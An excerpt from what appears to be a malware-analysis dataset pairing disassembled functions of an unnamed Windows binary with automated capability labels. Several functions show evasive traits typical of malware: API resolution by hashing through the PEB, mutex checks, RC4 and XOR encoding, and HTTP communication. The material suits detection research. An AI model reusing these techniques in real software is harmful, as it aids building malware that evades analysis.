joyce8/EMBER2024-capa huggingface dataset:
Function at 0x414f73
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2bc
push ebx
push esi
push edi
push 8
xor edi, edi
push edi
lea eax, [ebp - 0x18]
push eax
call fcn.00416fb8
mov eax, 0xc1c
call fcn.00416ed5
mov dword [ebp - 0xc], eax
cmp eax, edi
je 0x415192
add eax, 0x3fc
mov dword [ebp - 0x1c], eax
lea esi, [ebp - 0xb0]
mov eax, 0x97
call fcn.00408c1d
lea esi, [ebp - 0x3c]
mov eax, 0x98
call fcn.00408c1d
lea esi, [ebp - 0x48]
mov eax, 0x99
call fcn.00408c1d
lea esi, [ebp - 0x30]
mov eax, 0x9a
call fcn.00408c1d
lea esi, [ebp - 0x24]
mov eax, 0x9b
call fcn.00408c1d
lea eax, [ebp - 4]
push eax
push 8
push edi
lea eax, [ebp - 0xb0]
push eax
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x415169
push edi
push edi
push edi
push edi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x2b8]
push eax
push edi
push dword [ebp - 4]
mov dword [ebp - 0x10], edi
mov dword [ebp - 8], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x415160
mov ebx, 0xff
mov edi, dword [ebp - 0xc]
inc dword [ebp - 0x10]
push ebx
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x2b8]
push eax
mov eax, dword [ebp - 4]
call fcn.0041b02d
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x415132
test eax, eax
je 0x415132
push ebx
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x2b8]
push eax
mov eax, dword [ebp - 4]
add edi, 0x1fe
call fcn.0041b02d
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x415132
test eax, eax
je 0x415132
mov edi, dword [ebp - 0x1c]
push ebx
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x2b8]
push eax
mov eax, dword [ebp - 4]
call fcn.0041b02d
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x415132
test eax, eax
je 0x415132
mov ecx, edi
call fcn.00417a54
test eax, eax
jle 0x415132
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x2b8]
push eax
mov eax, dword [ebp - 4]
call fcn.0041b0e3
mov edi, eax
cmp edi, 1
jb 0x4150eb
cmp edi, 0xffff
jbe 0x4150ee
push 0x15
pop edi
push 0x55
lea esi, [ebp - 0x70]
pop eax
call fcn.00408c1d
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
push edi
push eax
push ecx
add eax, 0x1fe
push eax
mov eax, esi
push eax
mov edx, 0x311
lea edi, [ecx + 0x1fe]
call fcn.00417bf8
add esp, 0x14
test eax, eax
jle 0x415132
push edi
lea ecx, [ebp - 0x18]
call fcn.004172f9
test al, al
je 0x415132
inc dword [ebp - 0x14]
xor eax, eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x2b8]
push eax
push dword [ebp - 0x10]
mov dword [ebp - 8], 0x104
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x41503f
xor edi, edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0xc]
call fcn.00416f05
cmp dword [ebp - 0x14], edi
jbe 0x41518a
mov edi, dword [ebp - 0x18]
push 0xcb
mov eax, 0x9c
call fcn.004125c3
jmp 0x415192
push dword [ebp - 0x18]
call fcn.00416f05
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4158df
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x53c
push ebx
push esi
push edi
push 8
push 0
lea eax, [ebp - 0xc]
push eax
call fcn.00416fb8
lea esi, [ebp - 0x128]
mov eax, 0xa3
call fcn.00408c1d
lea esi, [ebp - 0xb8]
mov eax, 0xa5
call fcn.00408c1d
lea esi, [ebp - 0x54]
mov eax, 0xa4
call fcn.00408c1d
lea esi, [ebp - 0x2c]
mov eax, 0xa6
call fcn.00408c1d
lea eax, [ebp - 0x128]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0xb8]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x54]
mov dword [ebp - 0x14], eax
mov eax, esi
mov dword [ebp - 0x10], eax
xor esi, esi
mov dword [ebp - 4], 2
mov ebx, 0x104
push ebx
push dword [ebp + esi - 0x14]
lea edi, [ebp - 0x330]
push dword [ebp + esi - 0x1c]
mov eax, reloc.WS2_32.dll_accept
call fcn.0041b02d
cmp eax, 0xffffffff
je 0x41599e
test eax, eax
je 0x41599e
push ebx
lea eax, [ebp - 0x538]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea edx, [ebp - 0xc]
lea ecx, [ebp - 0x538]
call fcn.00415646
add esi, 4
dec dword [ebp - 4]
jne 0x41595d
cmp dword [ebp - 8], 0
jbe 0x4159c0
mov edi, dword [ebp - 0xc]
push 0xcb
mov eax, 0xa7
call fcn.004125c3
jmp 0x4159c8
push dword [ebp - 0xc]
call fcn.00416f05
pop edi
pop esi
pop ebx
leave
ret

Function at 0x415a04
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [edi + 0x3c]
and dword [ebp - 4], 0
push ebx
push esi
mov esi, dword [eax + edi + 0x78]
add esi, edi
cmp dword [esi + 0x18], 0
jbe 0x415a49
mov ebx, dword [esi + 0x20]
add ebx, edi
test ebx, ebx
je 0x415a3b
mov ecx, dword [ebx]
push dword [ebp + 8]
or eax, 0xffffffff
add ecx, edi
or edx, eax
call fcn.00417a68
test eax, eax
je 0x415a51
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
add ebx, 4
cmp eax, dword [esi + 0x18]
jb 0x415a22
xor eax, eax
pop esi
pop ebx
leave
ret 4
mov ecx, dword [ebp - 4]
mov eax, dword [esi + 0x24]
lea eax, [eax + ecx*2]
movzx eax, word [eax + edi]
mov ecx, dword [esi + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + edi]
add eax, edi
jmp 0x415a4b

Function at 0x415aca
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push esi
push edi
cld
mov edx, dword fs:[0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
mov ecx, 0x18
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x415aed
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x415ae4
cmp edi, 0x6a4abc5b
mov eax, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x415ada
pop edi
pop esi
ret
Function at 0x415c37
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x498
test byte [ebp + 8], 1
push ebx
push esi
push edi
je 0x415cd2
cmp byte [0x422fd4], 1
jbe 0x415ce5
xor ebx, ebx
xor edi, edi
mov ax, word [edi + 0x401818]
lea esi, [ebp - 0x498]
call fcn.00408c1d
lea eax, [ebp - 0x208]
push eax
xor eax, eax
push eax
push eax
push dword [edi + 0x401820]
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x415cb6
lea eax, [ebp - 0x208]
push eax
push eax
mov eax, esi
call fcn.0041c78e
test al, al
je 0x415cb6
push dword [0x422dc4]
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x415cc1
add edi, 0xc
inc ebx
cmp edi, 0x54
jb 0x415c5e
jmp 0x415ce5
imul ebx, ebx, 0xc
mov eax, dword [ebx + 0x40181c]
or dword [0x422d68], eax
jmp 0x415ce5
test byte [0x422d68], 1
je 0x415ce5
or dword [0x422d68], 0x1e0
pop edi
pop esi
mov al, 1
pop ebx
leave
ret 4

Function at 0x415cee
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push edi
push 0x422988
call esi
xor ebx, ebx
xor eax, eax
push 0x4228f4
mov dword [0x42297c], ebx
mov word [0x422984], ax
mov word [0x422980], ax
mov dword [0x422914], ebx
mov dword [0x422814], ebx
mov dword [0x42290c], ebx
mov dword [0x422910], ebx
call esi
push ebx
lea edi, [ebp - 0x210]
call fcn.00416570
or dword [ebp - 8], 0xffffffff
push ebx
push ebx
push 3
push ebx
push 1
push accept
mov eax, edi
push eax
mov dword [ebp - 4], 0x1fe
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x415d96
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x210]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x415d8f
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
cmp eax, 0xffffffff
je 0x415da2
test al, 1
je 0x415da4
xor eax, eax
shr eax, 1
xor ecx, ecx
mov word [ebp + eax*2 - 0x210], cx
lea eax, [ebp - 0x210]
call fcn.00406755
lea eax, [ebp - 0x210]
call fcn.0040dd50
push 0x4227bc
mov dword [0x4227b8], ebx
mov dword [0x4227d4], ebx
call esi
call fcn.00411e20
push 0x4015f0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp eax, ebx
je 0x415df6
mov edi, eax
call fcn.00404f33
jmp 0x415df8
xor al, al
cmp al, bl
je 0x415e03
or dword [0x424020], 1
call fcn.00404cfc
pop edi
pop esi
mov al, 1
pop ebx
leave
ret
Function at 0x4161a3
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x540
push esi
lea eax, [ebp - 0x53c]
call fcn.004164ee
lea eax, [ebp - 0x254]
push eax
call fcn.0041651b
push 2
lea eax, [ebp - 0x40f]
push eax
push dword [ebp + 8]
mov eax, dword [ebp - 0x76]
push 0x422fe0
lea ecx, [ebp - 0x6c]
call fcn.0041b562
lea eax, [ebp - 0x6c]
push eax
push 1
push 0x422da0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
test esi, esi
je 0x41620d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x41620d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
mov eax, esi
pop esi
leave
ret 4

Function at 0x4164ee
Capabilities:
Encode data using xor

Disassembly:
push esi
mov edx, 0x2e8
push edx
push 0x4018b8
push eax
call fcn.00416f41
mov ecx, dword [0x422d7c]
add ecx, dword [0x423228]
mov esi, edx
sub ecx, eax
mov dl, byte [ecx + eax]
xor byte [eax], dl
inc eax
dec esi
jne 0x416510
pop esi
ret
Function at 0x416d95
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push 0
xor bl, bl
call fcn.00415e0f
test al, al
je 0x416e81
push 0x8007
mov byte [ebp - 0x10], bl
mov byte [ebp - 0xc], 1
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
test eax, eax
je 0x416e5c
xor edx, edx
cmp dword [ebp - 8], edx
jle 0x416e21
mov ecx, dword [eax + edx*4]
test ecx, ecx
je 0x416e1b
cmp word [ecx], 0x2d
jne 0x416e1b
movzx ecx, word [ecx + 2]
cmp ecx, 0x66
je 0x416e17
cmp ecx, 0x69
je 0x416e13
cmp ecx, 0x6e
je 0x416e0d
cmp ecx, 0x76
jne 0x416e1b
mov byte [ebp - 1], 1
jmp 0x416e1b
mov byte [ebp - 0xc], 0
jmp 0x416e1b
mov bl, 1
jmp 0x416e1b
mov byte [ebp - 0x10], 1
inc edx
cmp edx, dword [ebp - 8]
jl 0x416de2
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
test bl, bl
je 0x416e33
call fcn.00416856
jmp 0x416e67
cmp byte [ebp - 1], 0
je 0x416e5c
call fcn.00411e20
call fcn.004114eb
test byte [0x422d68], 4
mov bl, al
je 0x416e69
push 0
mov eax, 0x422ad0
call fcn.00411c99
jmp 0x416e69
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call fcn.00416a4e
mov bl, al
test bl, bl
je 0x416e81
test byte [0x422d68], 2
je 0x416e81
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
pop ebx
leave
ret
xor eax, eax
test bl, bl
sete al
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4181aa
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push 0xf0000040
push 1
xor ebx, ebx
push ebx
push ebx
lea eax, [ebp - 0x10]
push eax
mov byte [ebp - 1], bl
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x418236
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push 0x8003
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
cmp eax, 1
jne 0x41822c
push ebx
push dword [ebp + 0x10]
mov dword [ebp - 0xc], 0x10
push dword [ebp + 0xc]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
cmp eax, 1
jne 0x418223
push ebx
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
push 2
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
cmp eax, 1
jne 0x418223
cmp dword [ebp - 0xc], 0x10
jne 0x418223
mov byte [ebp - 1], al
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push ebx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov al, byte [ebp - 1]
pop ebx
leave
ret 0xc
Function at 0x41823e
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov eax, dword [0x423ffc]
cmp eax, 0x270
jl 0x418176
push esi
push edi
xor edx, edx
mov esi, accept
mov ecx, edx
mov eax, dword [ecx*4 + 0x42363c]
xor eax, dword [ecx*4 + 0x423638]
and eax, esi
xor eax, dword [ecx*4 + 0x423638]
mov edi, eax
shr eax, 1
and edi, 1
xor eax, dword [edi*4 + 0x4223a0]
xor eax, dword [ecx*4 + 0x423c6c]
inc edx
mov dword [ecx*4 + 0x423638], eax
cmp edx, 0xe3
jl 0x4180cf
cmp edx, 0x26f
jge 0x418148
lea ecx, [edx*4 + 0x423638]
mov eax, dword [ecx]
xor eax, dword [ecx + 4]
and eax, esi
xor eax, dword [ecx]
mov edi, eax
and edi, 1
mov edi, dword [edi*4 + 0x4223a0]
xor edi, dword [ecx - 0x38c]
shr eax, 1
xor edi, eax
mov dword [ecx], edi
add ecx, 4
cmp ecx, 0x423ff4
jl 0x41811c
mov ecx, dword [0x423ff4]
mov eax, dword [0x423638]
xor eax, ecx
and eax, esi
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
xor eax, dword [ecx*4 + 0x4223a0]
pop edi
xor eax, dword [0x423c68]
pop esi
mov dword [0x423ff4], eax
xor eax, eax
mov ecx, dword [eax*4 + 0x423638]
inc eax
mov dword [0x423ffc], eax
mov eax, ecx
shr eax, 0xb
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
ret
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [0x422acc]
je 0x418285
xor ecx, ecx
mov dword [0x422acc], eax
mov dword [0x423638], eax
inc ecx
mov eax, 0x423638
push esi
mov edx, dword [eax]
mov esi, edx
shr esi, 0x1e
xor esi, edx
imul esi, esi, 0x6c078965
add esi, ecx
mov dword [eax + 4], esi
add eax, 4
inc ecx
cmp eax, 0x423ff4
jl 0x41825f
mov dword [0x423ffc], ecx
pop esi
jmp 0x4180b6

Function at 0x4182b4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp byte [0x42287a], 0
jne 0x4182ed
xor ecx, ecx
push 8
mov eax, ecx
pop edx
test al, 1
je 0x4182d1
shr eax, 1
xor eax, 0xedb88320
jmp 0x4182d3
shr eax, 1
dec edx
jne 0x4182c4
mov dword [ecx*4 + 0x423238], eax
inc ecx
cmp ecx, 0x100
jb 0x4182bf
mov byte [0x42287a], 1
xor ecx, ecx
or eax, 0xffffffff
cmp dword [esp + 8], ecx
jbe 0x418319
mov edx, dword [esp + 4]
movzx edx, byte [ecx + edx]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x423238]
inc ecx
cmp ecx, dword [esp + 8]
jb 0x4182f8
not eax
ret 8

Function at 0x418381
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
mov cl, byte [eax + 0x100]
push edi
mov byte [ebp - 1], cl
mov cl, byte [eax + 0x101]
xor edi, edi
mov byte [ebp - 2], cl
cmp dword [ebp + 0xc], edi
jbe 0x4183db
push ebx
push esi
inc byte [ebp - 1]
movzx esi, byte [ebp - 1]
mov dl, byte [esi + eax]
add byte [ebp - 2], dl
movzx ecx, byte [ebp - 2]
mov bl, byte [ecx + eax]
mov byte [esi + eax], bl
mov byte [ecx + eax], dl
movzx esi, byte [esi + eax]
mov ecx, dword [ebp + 8]
movzx edx, dl
add esi, edx
and esi, 0xff
mov dl, byte [esi + eax]
xor byte [ecx + edi], dl
inc edi
cmp edi, dword [ebp + 0xc]
jb 0x4183a1
pop esi
pop ebx
mov cl, byte [ebp - 1]
mov byte [eax + 0x100], cl
mov cl, byte [ebp - 2]
mov byte [eax + 0x101], cl
pop edi
leave
ret 8
Function at 0x41857a
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
xor edi, edi
push edi
push 4
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
or eax, 0xffffffff
cmp esi, eax
je 0x4185cb
lea eax, [ebp - 0x1c]
push eax
push esi
mov dword [ebp - 0x1c], 0x1c
call dword [sym.imp.KERNEL32.dll_Thread32First]
jmp 0x4185be
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 8]
jne 0x4185b3
inc edi
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x4185aa
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
leave
ret 4

Function at 0x41874c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push esi
xor ecx, ecx
xor esi, esi
mov word [ebp - 4], cx
cmp eax, esi
jne 0x418773
push 0x44
pop edx
push edx
push esi
lea eax, [ebp - 0x58]
push eax
call fcn.00416fb8
mov dword [ebp - 0x58], edx
lea eax, [ebp - 0x58]
lea ecx, [ebp - 4]
cmp dword [ebp + 8], esi
je 0x41877e
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x14]
push edx
push eax
push dword [ebp + 0xc]
push esi
push 0x4000000
push esi
push esi
push esi
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4187c5
cmp dword [ebp + 0x10], esi
je 0x4187b0
push 0x10
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 0x10]
call fcn.00416f41
jmp 0x4187c0
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x14]
call esi
mov eax, dword [ebp - 0xc]
jmp 0x4187c7
xor eax, eax
pop esi
leave
ret 0xc
Function at 0x418827
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push ebx
xor ebx, ebx
push 0x4048a4
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x41890b
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push 0x4048b0
push eax
call esi
push 0x4048c8
push dword [ebp - 0x10]
mov edi, eax
call esi
mov dword [ebp - 0x14], eax
cmp edi, ebx
je 0x418900
cmp eax, ebx
je 0x418900
push ebx
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 0xc], ebx
call edi
test eax, eax
jne 0x41888c
mov dword [ebp - 0xc], ebx
push 0x44
pop edx
xor eax, eax
push edx
mov word [ebp - 8], ax
push ebx
lea eax, [ebp - 0x68]
push eax
call fcn.00416fb8
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x68], edx
mov dword [ebp - 0x60], ebx
cmp ecx, ebx
jne 0x4188b0
lea ecx, [ebp - 8]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x68]
push eax
mov eax, dword [ebp - 0xc]
push ebx
push eax
neg eax
sbb eax, eax
and eax, 0x400
or eax, 0x4000000
push eax
push ebx
push ebx
push ebx
push ecx
push ebx
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
je 0x4188f5
push dword [ebp - 0x20]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x24]
call esi
cmp dword [ebp - 0x1c], ebx
setne byte [ebp - 1]
cmp dword [ebp - 0xc], ebx
je 0x418900
push dword [ebp - 0xc]
call dword [ebp - 0x14]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
movzx eax, byte [ebp - 1]
pop ebx
leave
ret 8

Function at 0x41893a
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0x10]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x418964
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0x10]
jmp 0x418966
xor eax, eax
pop ebp
ret 0xc
Function at 0x4189c5
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x56c
lea eax, [ebp - 0x24c]
push eax
push 0x404904
call fcn.0041c285
test al, al
je 0x418ad3
lea eax, [ebp - 0x350]
push eax
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.USER32.dll_CharToOemW]
lea eax, [ebp - 0x350]
push eax
push dword [ebp + 8]
lea eax, [ebp + 8]
push 0x40490c
push eax
call fcn.00417cc9
add esp, 0x10
cmp eax, 0xffffffff
je 0x418ac7
push ebx
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x24c]
push eax
call fcn.0041c0b9
push dword [ebp + 8]
mov bl, al
call fcn.00416f05
test bl, bl
pop ebx
je 0x418ac7
push edi
lea eax, [ebp - 0x24c]
push eax
push 0x40492c
mov edx, 0x10e
lea edi, [ebp - 0x56c]
call fcn.00417bf8
pop ecx
pop ecx
pop edi
cmp eax, 0xffffffff
jle 0x418ac7
push 0x104
lea eax, [ebp - 0x24c]
push eax
push 0x40493c
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0x102
ja 0x418ac7
push 0x44
pop edx
push edx
push 0
lea eax, [ebp - 0x44]
push eax
call fcn.00416fb8
xor eax, eax
push eax
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x44]
push eax
push 0
lea eax, [ebp - 0x56c]
push eax
lea eax, [ebp - 0x24c]
push eax
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x18], 1
call fcn.004187cc
test eax, eax
setne al
jmp 0x418ad5
lea eax, [ebp - 0x24c]
push eax
call fcn.0041c264
xor al, al
leave
ret 4

Function at 0x418ad9
Capabilities:
Connect to http server
Create http request

Disassembly:
push ebx
push edi
xor edi, edi
cmp ecx, edi
jne 0x418ae6
mov ecx, 0x40494c
push edi
push edi
not eax
push edi
and eax, 1
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
cmp ebx, edi
je 0x418b3e
push esi
xor esi, esi
push 4
lea eax, [esi + 0x42200c]
push eax
push dword [esi + 0x422008]
push ebx
call dword [sym.imp.WININET.dll_InternetSetOptionA]
add esi, 8
cmp esi, 0x18
jb 0x418aff
push edi
push edi
push 3
push edi
push edi
push dword [esp + 0x28]
push dword [esp + 0x28]
push ebx
call dword [sym.imp.WININET.dll_InternetConnectA]
pop esi
cmp eax, edi
jne 0x418b40
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
pop edi
pop ebx
ret 8
Function at 0x418bed
Capabilities:
Check http status code
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x18]
and ebx, 2
push esi
mov eax, 0x8404f700
je 0x418c04
mov eax, 0x8444f700
test byte [ebp + 0x18], 4
je 0x418c0f
or eax, 0x800000
test byte [ebp + 0x18], 1
mov ecx, 0x404434
jne 0x418c1f
mov ecx, 0x40443c
push 0
push eax
push section..data
push 0
push 0x404428
push dword [ebp + 0xc]
push ecx
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
test esi, esi
je 0x418c9f
test ebx, ebx
je 0x418c4b
xor eax, eax
xor ecx, ecx
jmp 0x418c53
push 0x13
mov eax, 0x404984
pop ecx
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push ecx
push eax
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x418c98
and dword [ebp + 0x18], 0
push 0
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 0x18]
push eax
push 0x20000013
push esi
mov dword [ebp + 0xc], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x418c98
cmp dword [ebp + 0x18], 0xc8
jne 0x418c98
mov eax, esi
jmp 0x418ca1
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
pop esi
pop ebx
pop ebp
ret 0x14

Function at 0x418ca7
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor edi, edi
mov eax, 0xa00000
cmp ebx, edi
je 0x418cc0
cmp ebx, eax
jbe 0x418cc2
mov ebx, eax
mov dword [ebp - 8], edi
cmp dword [ebp + 0x10], 0
je 0x418cdd
push 0
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x418d1e
lea ecx, [edi + 0x1000]
lea esi, [ebp - 8]
mov dword [ebp - 4], 0x1000
call fcn.00416e90
test al, al
je 0x418d1e
mov esi, dword [ebp - 8]
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
lea eax, [esi + edi]
push eax
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x418d1e
cmp dword [ebp - 4], 0
je 0x418d2f
add edi, dword [ebp - 4]
cmp edi, ebx
jbe 0x418cc5
push dword [ebp - 8]
call fcn.00416f05
xor al, al
pop edi
pop esi
pop ebx
leave
ret 0xc
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x418d3d
mov dword [eax], esi
mov dword [eax + 4], edi
jmp 0x418d43
push esi
call fcn.00416f05
mov al, 1
jmp 0x418d28